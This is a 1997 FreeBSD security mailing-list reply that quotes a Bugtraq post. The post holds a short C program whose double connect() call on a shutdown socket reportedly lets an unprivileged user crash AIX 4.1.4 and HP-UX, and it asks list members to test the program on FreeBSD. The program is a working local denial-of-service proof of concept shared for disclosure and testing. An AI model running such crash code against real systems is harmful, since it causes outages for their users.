From owner-freebsd-security Sat Mar 8 16:05:31 1997 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.5/8.8.5) id QAA08843 for security-outgoing; Sat, 8 Mar 1997 16:05:31 -0800 (PST) Received: from cwsys.cwent.com (0@cschuber.net.gov.bc.ca [142.31.240.113]) by freefall.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA08831 for ; Sat, 8 Mar 1997 16:05:23 -0800 (PST) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.5/8.6.10) id PAA06109; Sat, 8 Mar 1997 15:43:31 -0800 (PST) Message-Id: <199703082343.PAA06109@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd006106; Sat Mar 8 23:43:22 1997 Reply-to: cys@mailhost.wlc.com X-Mailer: MH To: Ollivier Robert cc: security@freebsd.org Subject: Re: Fwd: Bug in connect() for aix 4.1.4 ? In-reply-to: Your message of "Fri, 07 Mar 1997 20:09:03 +0100." <19970307200903.47617@caerdonn.eurocontrol.fr> Date: Sat, 08 Mar 1997 15:43:22 -0800 From: Cy Schubert Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX > 9.05 and 10.20 easily with it... It doesn't affect 2.1.6. > > -----Forwarded message from Cahya Wirawan ----- > > Date: Wed, 5 Mar 1997 13:23:54 +0100 > From: Cahya Wirawan > Subject: Bug in connect() for aix 4.1.4 ? > To: BUGTRAQ@NETSPACE.ORG > > Can someone tell me why this simple tcp program crashes aix 4.1.4 . > I run this program as a normal user, and the second connect crashes aix. > is it just connect's old bug from aix ? i have tried it in aix 3.2 > but it works only in 4.1.4. > > _____________________________________________________________________ > > #include > #include > #include > #include > #include > #include > > main() > { > int sock; > struct sockaddr_in server; > struct hostent *hp; > > sock = socket(AF_INET, SOCK_STREAM, 0); > /* or sock = socket(AF_INET, SOCK_STREAM, 6); */ > hp = gethostbyname("localhost"); > bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length); > server.sin_family = AF_INET; > server.sin_port = 23; > connect(sock, (struct sockaddr *)&server, sizeof server); > shutdown(sock, 2); > server.sin_port = 24; > connect(sock, (struct sockaddr *)&server, sizeof server); > } > > > _________________________________________________________________________ > Cahya Wirawan. > > -----End of forwarded message----- > > -- > Ollivier ROBERT -=- Eurocontrol EEC/TS -=- Ollivier.Robert@eurocontrol.fr > > Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it."